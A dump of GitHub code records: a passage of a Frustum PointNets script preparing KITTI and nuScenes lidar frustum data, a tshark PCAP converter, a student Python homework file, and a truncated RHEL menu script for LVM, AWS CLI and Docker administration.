box2d_list.append(box2d)\n '''\n\n\n\n data = Image.open(data_path)\n\n # Init axes.\n if ax is None:\n _, ax = plt.subplots(1, 1, figsize=(9, 16))\n\n # Show image.\n ax.imshow(data)\n # Show boxes.\n if with_anns:\n for box2d in boxes2d:\n print(box2d.corners, box2d.name,box2d.filename[8:22])\n print(box2d.token)\n c = np.array(get_color(box2d.name)) / 255.0\n #ipdb.set_trace()\n if box2d.visibility in visibilities and (_cam_type in box2d.filename):\n box2d.render(ax, view=camera_intrinsic, normalize=True, colors=(c, c, c))\n\n # Limit visible range.\n #ax.set_xlim(0, data.size[0])\n #ax.set_ylim(data.size[1], 0)\n #ax.axis('off')\n ax.set_title(sd_record['channel'])\n #ax.set_aspect('equal')\n\n if out_path is not None:\n plt.savefig(out_path)\n\ndef demo():\n import mayavi.mlab as mlab\n from viz_util import draw_lidar, draw_lidar_simple, draw_gt_boxes3d\n #dataset = nuscenes_object(os.path.join(ROOT_DIR, 'dataset/nuScenes/v1.0-mini'))\n\n nusc = NuScenes(version='v1.0-mini', dataroot='dataset/nuScenes/v1.0-mini', verbose=True)\n my_scene = nusc.scene[0]\n # Load data from dataset\n #objects = dataset.get_label_objects(data_idx) # objects = [Object3d(line) for line in lines]\n #objects[0].print_object()\n # 1. scene\n # 2. sample\n first_sample_token = my_scene['first_sample_token']\n # 3. sample_data\n my_sample = nusc.get('sample', first_sample_token)\n '''\n my_sample.keys() \n dict_keys(['token', 'timestamp', 'prev', 'next', 'scene_token', 'data', 'anns'])\n my_sample['data'].keys() \n dict_keys(['RADAR_FRONT', 'RADAR_FRONT_LEFT', 'RADAR_FRONT_RIGHT', 'RADAR_BACK_LEFT', 'RADAR_BACK_RIGHT', 'LIDAR_TOP', 'CAM_FRONT', 'CAM_FRONT_RIGHT', 'CAM_BACK_RIGHT', 'CAM_BACK', 'CAM_BACK_LEFT', 'CAM_FRONT_LEFT'])\n\n '''\n\n # 3+(New). image_annotations\n image_annotations_token2ind = dict()\n image_annotations = nusc.__load_table__('image_annotations')\n for ind, member in enumerate(image_annotations):\n image_annotations_token2ind[member['instance_token']] = ind\n '''\n sensor = 'CAM_FRONT'\n cam_front_data = nusc.get('sample_data', my_sample['data'][sensor])\n render_image_annotations(cam_front_data['token'],image_annotations_token2ind=image_annotations_token2ind,\n image_annotations = image_annotations,visibilities = ['','1','2','3','4'],cam_type=sensor)\n sensor = 'CAM_FRONT_LEFT'\n cam_front_left_data = nusc.get('sample_data', my_sample['data'][sensor])\n render_image_annotations(cam_front_left_data['token'],image_annotations_token2ind=image_annotations_token2ind,\n image_annotations = image_annotations,visibilities = ['','1','2','3','4'],cam_type=sensor)\n nusc.render_sample_data(cam_front_data['token'])\n '''\n sensors = ['CAM_FRONT','CAM_FRONT_RIGHT','CAM_BACK_RIGHT','CAM_BACK','CAM_BACK_LEFT','CAM_FRONT_LEFT']\n for sensor in sensors[:2]:\n sensor_data = nusc.get('sample_data', my_sample['data'][sensor])\n render_image_annotations(sensor_data['token'],image_annotations_token2ind=image_annotations_token2ind,\n image_annotations = image_annotations,visibilities = ['','1','2','3','4'],cam_type=sensor)\n nusc.render_sample_data(sensor_data['token'])\n\n # 4. sample_annotation\n #my_annotation_token = my_sample['anns'][0]\n #my_annotation_metadata = nusc.get('sample_annotation', my_annotation_token)\n #print(\"my_annotation_metadata\",my_annotation_metadata)\n #nusc.render_annotation(my_annotation_token)\n\n # 5. instance\n # 6. category\n # 7. attribute\n # 8. visibility\n # 9. sensor\n # 10. calibrated_sensor\n # 11. ego_pose\n # 12. log\n # 13. map\n\n nusc.render_pointcloud_in_image(my_sample['token'], pointsensor_channel='LIDAR_TOP')\n nusc.render_sample_data(my_sample['data']['LIDAR_TOP'], nsweeps=5, underlay_map=True)\n nusc.render_sample_data(my_sample['data']['RADAR_FRONT_RIGHT'], nsweeps=5, underlay_map=True)\n plt.show()\n\n '''\n calib = dataset.get_calibration(data_idx) # utils.Calibration(calib_filename)\n box2d = objects[0].box2d\n xmin, ymin, xmax, ymax = box2d\n box2d_center = np.array([(xmin + xmax) / 2.0, (ymin + ymax) / 2.0])\n uvdepth = np.zeros((1, 3))\n uvdepth[0, 0:2] = box2d_center\n uvdepth[0, 2] = 20 # some random depth\n box2d_center_rect = calib.project_image_to_rect(uvdepth)\n frustum_angle = -1 * np.arctan2(box2d_center_rect[0, 2],\n box2d_center_rect[0, 0])\n print('frustum_angle:', frustum_angle)\n '''\n '''\n Type, truncation, occlusion, alpha: Pedestrian, 0, 0, -0.200000\n 2d bbox (x0,y0,x1,y1): 712.400000, 143.000000, 810.730000, 307.920000\n 3d bbox h,w,l: 1.890000, 0.480000, 1.200000\n 3d bbox location, ry: (1.840000, 1.470000, 8.410000), 0.010000\n '''\n '''\n img = dataset.get_image(data_idx) # (370, 1224, 3)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n img_height, img_width, img_channel = img.shape\n print(('Image shape: ', img.shape))\n pc_velo = dataset.get_lidar(data_idx)[:, 0:3] # (115384, 3)\n calib = dataset.get_calibration(data_idx) # utils.Calibration(calib_filename)\n '''\n ## Draw lidar in rect camera coord\n # print(' -------- LiDAR points in rect camera coordination --------')\n # pc_rect = calib.project_velo_to_rect(pc_velo)\n # fig = draw_lidar_simple(pc_rect)\n # raw_input()\n # Draw 2d and 3d boxes on image\n #print(' -------- 2D/3D bounding boxes in images --------')\n #show_image_with_boxes(img, objects, calib)\n #raw_input()\n\n # Show all LiDAR points. Draw 3d box in LiDAR point cloud\n #print(' -------- LiDAR points and 3D boxes in velodyne coordinate --------')\n # show_lidar_with_boxes(pc_velo, objects, calib)\n # raw_input()\n #show_lidar_with_boxes(pc_velo, objects, calib, True, img_width, img_height)\n #raw_input()\n\n # Visualize LiDAR points on images\n #print(' -------- LiDAR points projected to image plane --------')\n #show_lidar_on_image(pc_velo, img, calib, img_width, img_height)\n #raw_input()\n\n # Show LiDAR points that are in the 3d box\n #print(' -------- LiDAR points in a 3D bounding box --------')\n #box3d_pts_2d, box3d_pts_3d = utils.compute_box_3d(objects[0], calib.P)\n #box3d_pts_3d_velo = calib.project_rect_to_velo(box3d_pts_3d)\n #box3droi_pc_velo, _ = extract_pc_in_box3d(pc_velo, box3d_pts_3d_velo)\n #print(('Number of points in 3d box: ', box3droi_pc_velo.shape[0]))\n '''\n fig = mlab.figure(figure=None, bgcolor=(0, 0, 0),\n fgcolor=None, engine=None, size=(1000, 500))\n draw_lidar(box3droi_pc_velo, fig=fig)\n draw_gt_boxes3d([box3d_pts_3d_velo], fig=fig)\n mlab.show(1)\n raw_input()\n\n # UVDepth Image and its backprojection to point clouds\n print(' -------- LiDAR points in a frustum from a 2D box --------')\n imgfov_pc_velo, pts_2d, fov_inds = get_lidar_in_image_fov(pc_velo,\n calib, 0, 0, img_width, img_height, True)\n imgfov_pts_2d = pts_2d[fov_inds, :]\n imgfov_pc_rect = calib.project_velo_to_rect(imgfov_pc_velo)\n\n cameraUVDepth = np.zeros_like(imgfov_pc_rect)\n cameraUVDepth[:, 0:2] = imgfov_pts_2d\n cameraUVDepth[:, 2] = imgfov_pc_rect[:, 2]\n\n # Show that the points are exactly the same\n backprojected_pc_velo = calib.project_image_to_velo(cameraUVDepth)\n print(imgfov_pc_velo[0:20])\n print(backprojected_pc_velo[0:20])\n\n fig = mlab.figure(figure=None, bgcolor=(0, 0, 0),\n fgcolor=None, engine=None, size=(1000, 500))\n draw_lidar(backprojected_pc_velo, fig=fig)\n raw_input()\n\n # Only display those points that fall into 2d box\n print(' -------- LiDAR points in a frustum from a 2D box --------')\n xmin, ymin, xmax, ymax = \\\n objects[0].xmin, objects[0].ymin, objects[0].xmax, objects[0].ymax\n boxfov_pc_velo = \\\n get_lidar_in_image_fov(pc_velo, calib, xmin, ymin, xmax, ymax)\n print(('2d box FOV point num: ', boxfov_pc_velo.shape[0]))\n\n fig = mlab.figure(figure=None, bgcolor=(0, 0, 0),\n fgcolor=None, engine=None, size=(1000, 500))\n draw_lidar(boxfov_pc_velo, fig=fig)\n mlab.show(1)\n raw_input()\n '''\n\ndef random_shift_box2d(box2d, shift_ratio=0.1):\n ''' Randomly shift box center, randomly scale width and height \n '''\n r = shift_ratio\n xmin, ymin, xmax, ymax = box2d\n h = ymax - ymin\n w = xmax - xmin\n cx = (xmin + xmax) / 2.0\n cy = (ymin + ymax) / 2.0\n cx2 = cx + w * r * (np.random.random() * 2 - 1)\n cy2 = cy + h * r * (np.random.random() * 2 - 1)\n h2 = h * (1 + np.random.random() * 2 * r - r) # 0.9 to 1.1\n w2 = w * (1 + np.random.random() * 2 * r - r) # 0.9 to 1.1\n return np.array([cx2 - w2 / 2.0, cy2 - h2 / 2.0, cx2 + w2 / 2.0, cy2 + h2 / 2.0])\n\n\ndef extract_frustum_data(idx_filename, split, output_filename, viz=False,\n perturb_box2d=False, augmentX=1, type_whitelist=['Car']):\n ''' Extract point clouds and corresponding annotations in frustums\n defined generated from 2D bounding boxes\n Lidar points and 3d boxes are in *rect camera* coord system\n (as that in 3d box label files)\n\n Input:\n idx_filename: string, each line of the file is a sample ID\n split: string, either trianing or testing\n output_filename: string, the name for output .pickle file\n viz: bool, whether to visualize extracted data\n perturb_box2d: bool, whether to perturb the box2d\n (used for data augmentation in train set)\n augmentX: scalar, how many augmentations to have for each 2D box.\n type_whitelist: a list of strings, object types we are interested in.\n Output:\n None (will write a .pickle file to the disk)\n '''\n dataset = kitti_object(os.path.join(ROOT_DIR, 'dataset/KITTI/object'), split)\n data_idx_list = [int(line.rstrip()) for line in open(idx_filename)]\n\n id_list = [] # int number\n box2d_list = [] # [xmin,ymin,xmax,ymax]\n box3d_list = [] # (8,3) array in rect camera coord\n input_list = [] # channel number = 4, xyz,intensity in rect camera coord\n label_list = [] # 1 for roi object, 0 for clutter\n type_list = [] # string e.g. Car\n heading_list = [] # ry (along y-axis in rect camera coord) radius of\n # (cont.) clockwise angle from positive x axis in velo coord.\n box3d_size_list = [] # array of l,w,h\n frustum_angle_list = [] # angle of 2d box center from pos x-axis\n\n pos_cnt = 0\n all_cnt = 0\n for data_idx in data_idx_list:\n print('------------- ', data_idx)\n calib = dataset.get_calibration(data_idx) # 3 by 4 matrix\n objects = dataset.get_label_objects(data_idx)\n pc_velo = dataset.get_lidar(data_idx)\n pc_rect = np.zeros_like(pc_velo)\n pc_rect[:, 0:3] = calib.project_velo_to_rect(pc_velo[:, 0:3])\n pc_rect[:, 3] = pc_velo[:, 3]\n img = dataset.get_image(data_idx)\n img_height, img_width, img_channel = img.shape\n _, pc_image_coord, img_fov_inds = get_lidar_in_image_fov(pc_velo[:, 0:3],\n calib, 0, 0, img_width, img_height, True)\n\n for obj_idx in range(len(objects)):\n if objects[obj_idx].type not in type_whitelist: continue\n\n # 2D BOX: Get pts rect backprojected \n box2d = objects[obj_idx].box2d\n for _ in range(augmentX):\n # Augment data by box2d perturbation\n if perturb_box2d:\n xmin, ymin, xmax, ymax = random_shift_box2d(box2d)\n print(box2d)\n print(xmin, ymin, xmax, ymax)\n else:\n xmin, ymin, xmax, ymax = box2d\n box_fov_inds = (pc_image_coord[:, 0] < xmax) & \\\n (pc_image_coord[:, 0] >= xmin) & \\\n (pc_image_coord[:, 1] < ymax) & \\\n (pc_image_coord[:, 1] >= ymin)\n box_fov_inds = box_fov_inds & img_fov_inds\n pc_in_box_fov = pc_rect[box_fov_inds, :] # (1607, 4)\n # Get frustum angle (according to center pixel in 2D BOX)\n box2d_center = np.array([(xmin + xmax) / 2.0, (ymin + ymax) / 2.0])\n uvdepth = np.zeros((1, 3))\n uvdepth[0, 0:2] = box2d_center\n uvdepth[0, 2] = 20 # some random depth\n box2d_center_rect = calib.project_image_to_rect(uvdepth)\n frustum_angle = -1 * np.arctan2(box2d_center_rect[0, 2],\n box2d_center_rect[0, 0])\n # 3D BOX: Get pts velo in 3d box\n obj = objects[obj_idx]\n box3d_pts_2d, box3d_pts_3d = utils.compute_box_3d(obj, calib.P) # (8, 2)(8, 3)\n _, inds = extract_pc_in_box3d(pc_in_box_fov, box3d_pts_3d) # (375, 4)(1607,)\n label = np.zeros((pc_in_box_fov.shape[0])) # (1607,)\n label[inds] = 1\n # Get 3D BOX heading\n heading_angle = obj.ry # 0.01\n # Get 3D BOX size\n box3d_size = np.array([obj.l, obj.w, obj.h]) # array([1.2 , 0.48, 1.89])\n\n # Reject too far away object or object without points\n if ymax - ymin < 25 or np.sum(label) == 0:\n continue\n\n id_list.append(data_idx)\n box2d_list.append(np.array([xmin, ymin, xmax, ymax]))\n box3d_list.append(box3d_pts_3d)\n input_list.append(pc_in_box_fov)\n label_list.append(label)\n type_list.append(objects[obj_idx].type)\n heading_list.append(heading_angle)\n box3d_size_list.append(box3d_size)\n frustum_angle_list.append(frustum_angle)\n\n # collect statistics\n pos_cnt += np.sum(label)\n all_cnt += pc_in_box_fov.shape[0]\n\n print('Average pos ratio: %f' % (pos_cnt / float(all_cnt)))\n print('Average npoints: %f' % (float(all_cnt) / len(id_list)))\n\n with open(output_filename, 'wb') as fp:\n pickle.dump(id_list, fp)\n pickle.dump(box2d_list, fp)\n pickle.dump(box3d_list, fp)\n pickle.dump(input_list, fp)\n pickle.dump(label_list, fp)\n pickle.dump(type_list, fp)\n pickle.dump(heading_list, fp)\n pickle.dump(box3d_size_list, fp)\n pickle.dump(frustum_angle_list, fp)\n\n if viz:\n import mayavi.mlab as mlab\n for i in range(10):\n p1 = input_list[i]\n seg = label_list[i]\n fig = mlab.figure(figure=None, bgcolor=(0.4, 0.4, 0.4),\n fgcolor=None, engine=None, size=(500, 500))\n mlab.points3d(p1[:, 0], p1[:, 1], p1[:, 2], seg, mode='point',\n colormap='gnuplot', scale_factor=1, figure=fig)\n fig = mlab.figure(figure=None, bgcolor=(0.4, 0.4, 0.4),\n fgcolor=None, engine=None, size=(500, 500))\n mlab.points3d(p1[:, 2], -p1[:, 0], -p1[:, 1], seg, mode='point',\n colormap='gnuplot', scale_factor=1, figure=fig)\n raw_input()\n\n\ndef get_box3d_dim_statistics(idx_filename):\n ''' Collect and dump 3D bounding box statistics '''\n dataset = kitti_object(os.path.join(ROOT_DIR, 'dataset/KITTI/object'))\n dimension_list = []\n type_list = []\n ry_list = []\n data_idx_list = [int(line.rstrip()) for line in open(idx_filename)]\n for data_idx in data_idx_list:\n print('------------- ', data_idx)\n calib = dataset.get_calibration(data_idx) # 3 by 4 matrix\n objects = dataset.get_label_objects(data_idx)\n for obj_idx in range(len(objects)):\n obj = objects[obj_idx]\n if obj.type == 'DontCare': continue\n dimension_list.append(np.array([obj.l, obj.w, obj.h]))\n type_list.append(obj.type)\n ry_list.append(obj.ry)\n\n with open('box3d_dimensions.pickle', 'wb') as fp:\n pickle.dump(type_list, fp)\n pickle.dump(dimension_list, fp)\n pickle.dump(ry_list, fp)\n\n\ndef read_det_file(det_filename):\n ''' Parse lines in 2D detection output files '''\n det_id2str = {1: 'Pedestrian', 2: 'Car', 3: 'Cyclist'}\n id_list = []\n type_list = []\n prob_list = []\n box2d_list = []\n for line in open(det_filename, 'r'):\n t = line.rstrip().split(\" \")\n id_list.append(int(os.path.basename(t[0]).rstrip('.png')))\n type_list.append(det_id2str[int(t[1])])\n prob_list.append(float(t[2]))\n box2d_list.append(np.array([float(t[i]) for i in range(3, 7)]))\n return id_list, type_list, box2d_list, prob_list\n\n\ndef extract_frustum_data_rgb_detection(det_filename, split, output_filename,\n viz=False,\n type_whitelist=['Car'],\n img_height_threshold=25,\n lidar_point_threshold=5):\n ''' Extract point clouds in frustums extruded from 2D detection boxes.\n Update: Lidar points and 3d boxes are in *rect camera* coord system\n (as that in 3d box label files)\n\n Input:\n det_filename: string, each line is\n img_path typeid confidence xmin ymin xmax ymax\n split: string, either trianing or testing\n output_filename: string, the name for output .pickle file\n type_whitelist: a list of strings, object types we are interested in.\n img_height_threshold: int, neglect image with height lower than that.\n lidar_point_threshold: int, neglect frustum with too few points.\n Output:\n None (will write a .pickle file to the disk)\n '''\n dataset = kitti_object(os.path.join(ROOT_DIR, 'dataset/KITTI/object'), split)\n det_id_list, det_type_list, det_box2d_list, det_prob_list = \\\n read_det_file(det_filename)\n cache_id = -1\n cache = None\n\n id_list = []\n type_list = []\n box2d_list = []\n prob_list = []\n input_list = [] # channel number = 4, xyz,intensity in rect camera coord\n frustum_angle_list = [] # angle of 2d box center from pos x-axis\n\n for det_idx in range(len(det_id_list)):\n data_idx = det_id_list[det_idx]\n print('det idx: %d/%d, data idx: %d' % \\\n (det_idx, len(det_id_list), data_idx))\n if cache_id != data_idx:\n calib = dataset.get_calibration(data_idx) # 3 by 4 matrix\n pc_velo = dataset.get_lidar(data_idx)\n pc_rect = np.zeros_like(pc_velo)\n pc_rect[:, 0:3] = calib.project_velo_to_rect(pc_velo[:, 0:3])\n pc_rect[:, 3] = pc_velo[:, 3]\n img = dataset.get_image(data_idx)\n img_height, img_width, img_channel = img.shape\n _, pc_image_coord, img_fov_inds = get_lidar_in_image_fov( \\\n pc_velo[:, 0:3], calib, 0, 0, img_width, img_height, True)\n cache = [calib, pc_rect, pc_image_coord, img_fov_inds]\n cache_id = data_idx\n else:\n calib, pc_rect, pc_image_coord, img_fov_inds = cache\n\n if det_type_list[det_idx] not in type_whitelist: continue\n\n # 2D BOX: Get pts rect backprojected \n xmin, ymin, xmax, ymax = det_box2d_list[det_idx]\n box_fov_inds = (pc_image_coord[:, 0] < xmax) & \\\n (pc_image_coord[:, 0] >= xmin) & \\\n (pc_image_coord[:, 1] < ymax) & \\\n (pc_image_coord[:, 1] >= ymin)\n box_fov_inds = box_fov_inds & img_fov_inds\n pc_in_box_fov = pc_rect[box_fov_inds, :]\n # Get frustum angle (according to center pixel in 2D BOX)\n box2d_center = np.array([(xmin + xmax) / 2.0, (ymin + ymax) / 2.0])\n uvdepth = np.zeros((1, 3))\n uvdepth[0, 0:2] = box2d_center\n uvdepth[0, 2] = 20 # some random depth\n box2d_center_rect = calib.project_image_to_rect(uvdepth)\n frustum_angle = -1 * np.arctan2(box2d_center_rect[0, 2],\n box2d_center_rect[0, 0])\n\n # Pass objects that are too small\n if ymax - ymin < img_height_threshold or \\\n len(pc_in_box_fov) < lidar_point_threshold:\n continue\n\n id_list.append(data_idx)\n type_list.append(det_type_list[det_idx])\n box2d_list.append(det_box2d_list[det_idx])\n prob_list.append(det_prob_list[det_idx])\n input_list.append(pc_in_box_fov)\n frustum_angle_list.append(frustum_angle)\n\n with open(output_filename, 'wb') as fp:\n pickle.dump(id_list, fp)\n pickle.dump(box2d_list, fp)\n pickle.dump(input_list, fp)\n pickle.dump(type_list, fp)\n pickle.dump(frustum_angle_list, fp)\n pickle.dump(prob_list, fp)\n\n if viz:\n import mayavi.mlab as mlab\n for i in range(10):\n p1 = input_list[i]\n fig = mlab.figure(figure=None, bgcolor=(0.4, 0.4, 0.4),\n fgcolor=None, engine=None, size=(500, 500))\n mlab.points3d(p1[:, 0], p1[:, 1], p1[:, 2], p1[:, 1], mode='point',\n colormap='gnuplot', scale_factor=1, figure=fig)\n fig = mlab.figure(figure=None, bgcolor=(0.4, 0.4, 0.4),\n fgcolor=None, engine=None, size=(500, 500))\n mlab.points3d(p1[:, 2], -p1[:, 0], -p1[:, 1], seg, mode='point',\n colormap='gnuplot', scale_factor=1, figure=fig)\n raw_input()\n\n\ndef write_2d_rgb_detection(det_filename, split, result_dir):\n ''' Write 2D detection results for KITTI evaluation.\n Convert from Wei's format to KITTI format. \n\n Input:\n det_filename: string, each line is\n img_path typeid confidence xmin ymin xmax ymax\n split: string, either trianing or testing\n result_dir: string, folder path for results dumping\n Output:\n None (will write .txt files to disk)\n\n Usage:\n write_2d_rgb_detection(\"val_det.txt\", \"training\", \"results\")\n '''\n dataset = kitti_object(os.path.join(ROOT_DIR, 'dataset/KITTI/object'), split)\n det_id_list, det_type_list, det_box2d_list, det_prob_list = \\\n read_det_file(det_filename)\n # map from idx to list of strings, each string is a line without \\n\n results = {}\n for i in range(len(det_id_list)):\n idx = det_id_list[i]\n typename = det_type_list[i]\n box2d = det_box2d_list[i]\n prob = det_prob_list[i]\n output_str = typename + \" -1 -1 -10 \"\n output_str += \"%f %f %f %f \" % (box2d[0], box2d[1], box2d[2], box2d[3])\n output_str += \"-1 -1 -1 -1000 -1000 -1000 -10 %f\" % (prob)\n if idx not in results: results[idx] = []\n results[idx].append(output_str)\n if not os.path.exists(result_dir): os.mkdir(result_dir)\n output_dir = os.path.join(result_dir, 'data')\n if not os.path.exists(output_dir): os.mkdir(output_dir)\n for idx in results:\n pred_filename = os.path.join(output_dir, '%06d.txt' % (idx))\n fout = open(pred_filename, 'w')\n for line in results[idx]:\n fout.write(line + '\\n')\n fout.close()\n\n\nif __name__ == '__main__':\n # python kitti/prepare_data.py --gen_train --gen_val --gen_val_rgb_detection\n parser = argparse.ArgumentParser()\n parser.add_argument('--demo', action='store_true', help='Run demo.')\n parser.add_argument('--gen_train', action='store_true',\n help='Generate train split frustum data with perturbed GT 2D boxes')\n parser.add_argument('--gen_val', action='store_true', help='Generate val split frustum data with GT 2D boxes')\n parser.add_argument('--gen_val_rgb_detection', action='store_true',\n help='Generate val split frustum data with RGB detection 2D boxes')\n parser.add_argument('--car_only', action='store_true', help='Only generate cars; otherwise cars, peds and cycs')\n args = parser.parse_args()\n\n if args.demo:\n demo() # draw 2d box and 3d box\n exit()\n '''\n python kitti/prepare_data.py --demo\n Type, truncation, occlusion, alpha: Pedestrian, 0, 0, -0.200000\n 2d bbox (x0,y0,x1,y1): 712.400000, 143.000000, 810.730000, 307.920000\n 3d bbox h,w,l: 1.890000, 0.480000, 1.200000\n 3d bbox location, ry: (1.840000, 1.470000, 8.410000), 0.010000\n ('Image shape: ', (370, 1224, 3))\n -------- 2D/3D bounding boxes in images --------\n ('pts_3d_extend shape: ', (8, 4))\n '''\n\n if args.car_only:\n type_whitelist = ['Car']\n output_prefix = 'frustum_caronly_'\n else:\n type_whitelist = ['Car', 'Pedestrian', 'Cyclist']\n output_prefix = 'frustum_carpedcyc_'\n\n if args.gen_train:\n extract_frustum_data( \\\n os.path.join(BASE_DIR, 'image_sets/train.txt'),\n 'training',\n os.path.join(BASE_DIR, output_prefix + 'train.pickle'),\n viz=False, perturb_box2d=True, augmentX=5,\n type_whitelist=type_whitelist)\n\n if args.gen_val:\n extract_frustum_data( \\\n os.path.join(BASE_DIR, 'image_sets/val.txt'),\n 'training',\n os.path.join(BASE_DIR, output_prefix + 'val.pickle'),\n viz=False, perturb_box2d=False, augmentX=1,\n type_whitelist=type_whitelist)\n\n if args.gen_val_rgb_detection:\n extract_frustum_data_rgb_detection( \\\n os.path.join(BASE_DIR, 'rgb_detections/rgb_detection_val.txt'),\n 'training',\n os.path.join(BASE_DIR, output_prefix + 'val_rgb_detection.pickle'),\n viz=False,\n type_whitelist=type_whitelist) \n","repo_name":"simon3dv/frustum_pointnets_pytorch","sub_path":"nuscenes/prepare_data.py","file_name":"prepare_data.py","file_ext":"py","file_size_in_byte":36658,"program_lang":"python","lang":"en","doc_type":"code","stars":107,"dataset":"github-code","pt":"71"} +{"seq_id":"42256517790","text":"import os\n\nclass PCAP():\n def convert(self, filename):\n a = filename.split(\".\")\n out = a[0]+\".pdml\"\n os.system(\"tshark -T pdml -r \"+filename+\" -V | tee \"+out)\n return out\n\n#filename = input(\"Input PCAP file\")\n#file = PCAP()\n#b = file.convert(\"test.pcap\")\n#print(b)\n\n","repo_name":"jhuerta6/gui-acosta","sub_path":"PCAP.py","file_name":"PCAP.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"27463199033","text":"\"\"\"\nName: \n.py\n\nProblem: \n\nCertification of Authenticity:\n\nI certify that this assignment is entirely my own work.\nI certify that this assignment is my own work, but I discussed it with: \n\"\"\"\n\n\ndef sum_of_threes():\n upper_bound = eval(input('Enter your upper bound:'))\n threes_sum = 0\n for i in range(0, upper_bound + 1, 3):\n threes_sum = threes_sum + i\n print(\"sum of threes is\", threes_sum)\n\n\n\ndef multiplication_table():\n for i in range(1, 11):\n for table in range(1, 11):\n print(i * table, end='\\t')\n print('\\n')\n\n\n\n\ndef triangle_area():\n side_a = eval(input('Enter side a length:'))\n side_b = eval(input('Enter side b length:'))\n side_c = eval(input(\"Enter side c length:\"))\n side = side_a + side_b + side_c\n side = side / 2\n area = (side - side_a) * (side - side_b) * (side - side_c)\n area = (area * side) ** (1/2)\n print('area is', area)\n\n\ndef sum_squares():\n lower_range = eval(input('Enter lower range:'))\n upper_range = eval(input('Enter upper range:'))\n squares_sum = 0\n for i in range(lower_range, upper_range + 1):\n squares_sum = squares_sum + i ** 2\n print(squares_sum)\n\n\ndef power():\n base_number = eval(input(\"Enter base:\"))\n exponent_number = eval(input(\"Enter exponent:\"))\n result = 1\n for i in range(exponent_number):\n result = result * base_number\n print(base_number, \"^\", exponent_number, '=', result)\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"aidanstout/220","sub_path":"assignments/hw2/hw2.py","file_name":"hw2.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"70231756070","text":"import os\nimport subprocess\nos.system(\"clear\")\nprint(\"\\n\\n\")\nprint(\"\\t Welcome To The Automatic System Mangement Service(RHEL-8)\\t\\t\\t\")\nprint(\"\\n\")\nprint(\"\\t--------------------------------------------------------------\\n\\n\\t Here is the Menu:\\t\\t\\n\")\n\nprint(\"\\t Press 1 to check LVM Software\\n\\t Press 2 to Know Disk Status\\n\\t Press 3 to Create a Logical Volume\\n\\t Press 4 to Increase the Size of Logical Volume\\n\\t Press 5 to Extend Volume Group\\n\\t Press 6 to Install AWS CLI\\n\\t Press 7 to register an IAM User\\n\\t Press 8 to Create Key,Security Group\\n\\t Press 9 to Create Volume\\n\\t Press 10 to add inbound Rules to the Security Group\\n\\t Press 11 to Create the Instance\\n\\t Press 12 to Attach Volume with the Instance\\n\\t Press 13 to Install Docker\\n\\t Press 14 to Run a command on conatiner without visiting it\\n\\t Press 15 to launch an OS in docker\\n\\t Press 16 to Launch HTTPD in docker\\n\\t Press 17 to Launch Python Interpreter in Docker\\n\\t Press 18 to Install Software through Yum\\n\\t Press 19 to Create Partition\\n\\t Press 20 to Mount a folder\\n\\t Press 21 to Exit the Menu\")\n\ndef yum():\n\ti = input(\"Please Enter the Name of the Software: \")\n\ts = \"yum install \" + i\n\tos.system(s)\n\ndef awsinstall():\n\tcmd = \"curl\" + \"https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip\" + \"-o\" + \"awscliv2.zip\"\n\tos.system(\"yum install curl -y\")\n\tos.system(\"yum install unzip -y\")\n\tos.system(cmd)\n\tos.system(\"unzip awscliv2.zip\")\n\tos.system(\"sudo ./aws/install\")\n\tprint(subprocess.check_output(\"aws --version\",shell=True,universal_newlines=True))\n\tprint(\"The AWS CLI v2 is now Installed\")\n\ndef iam():\n\tprint(os.system(\"aws configure\"))\n\tprint(\"Your IAM User is now registered\")\n\ndef aws():\n\tk = input(\"Please Enter the Key Name: \")\n\ts = input(\"Please Enter the Security Group Name: \")\n\td = input(\"Please tell the Description for the Security Group: \")\n\tv = input(\"Please Tell the VPC-id: \")\n\tsec = \"aws ec2 create-security-group --group-name \" + s + \" --description \" + d + \" --vpc-id \" + v\n\tos.system(\"aws ec2 create-key-pair --key-name {}\".format(k))\n\tos.system(sec)\n\tprint(\"Your Key and Security Group is now created.\")\t\n\t\ndef inbound():\n\tg = input(\"Please Enter the Security Group Id: \")\n\tp = input(\"Please Enter the Protocol: \")\n\to = input(\"Please Enter the Port: \")\n\tc = input(\"Please Enter the IP to allow: \")\n\trule = \"aws ec2 authorize-security-group-ingress --group-id \" + g + \" --protocol \" + p + \" --port \" + o + \" --cidr \" + c\n\tos.system(rule)\n\tprint(\"Your Security Group Rules are now set\")\n\ndef instance():\n\ti = input(\"Please Enter the Image id: \")\n\tt = input(\"Please Enter the Instance Type: \")\n\tu = input(\"Please Enter the Number of OS: \")\n\tb = input(\"Please Enter the Subnet-id: \")\n\tg = input(\"Please Enter the Security Group Id: \")\n\tk = input(\"Please Enter the Key Name: \")\n\tins = \"aws ec2 run-instances --image-id \" + i + \" --instance-type \" + t + \" --count \" + u + \" --subnet-id \" + b +\" --security-group-ids \" + g + \" --key-name \" + k\n\tos.system(ins)\n\ndef volume():\n\tt = input(\"Please Enter the Volume Type: \")\n\ts = input(\"Please Enter the Size of Volume: \")\n\tr = input(\"Please Enter the Availability Zone: \")\n\tvol = \"aws ec2 create-volume --volume-type \" + t + \" --size \" + s + \" --availability-zone \" + r\n\tos.system(vol)\n\tprint(\"Your Volume is now created\")\n\ndef attach():\n\tv = input(\"Please Enter the Volume id: \")\n\ti = input(\"Please Enter the Instance id: \")\n\td = input(\"Please Enter the Device Path: \")\n\tatt = \"aws ec2 attach-volume --volume-id \" + v + \" --instance-id \" + i + \" --device \" + d\n\tos.system(att)\n\tprint(\"Your Volume is now attached\")\n\ndef createlv():\n\tn = input(\"Please Enter 1st disk name: \")\n\td =input(\"Please Enter 2nd disk name: \")\n\tv = input(\"Please Enter the name for Volume Group: \")\n\ts = input(\"Please Enter the Size for Volume Group: \")\n\tg = input(\"Please Enter the name for Logical Volume: \")\n\tk = input(\"Please Enter the Name of Directory: \")\n\tfirst = \"pvcreate /dev/\" + n\n\tsec = \"pvcreate /dev/\" + d\n\tvol = \"vgcreate \" + v + \" /dev/\" + n + \" /dev/\" + d\n\tlv = \"lvcreate --size \" + s + \"G\" + \" --name \" + g + \" \" + v\n\tform = \"mkfs.ext4 /dev/\" + v + \"/\" + g\n\tdir = 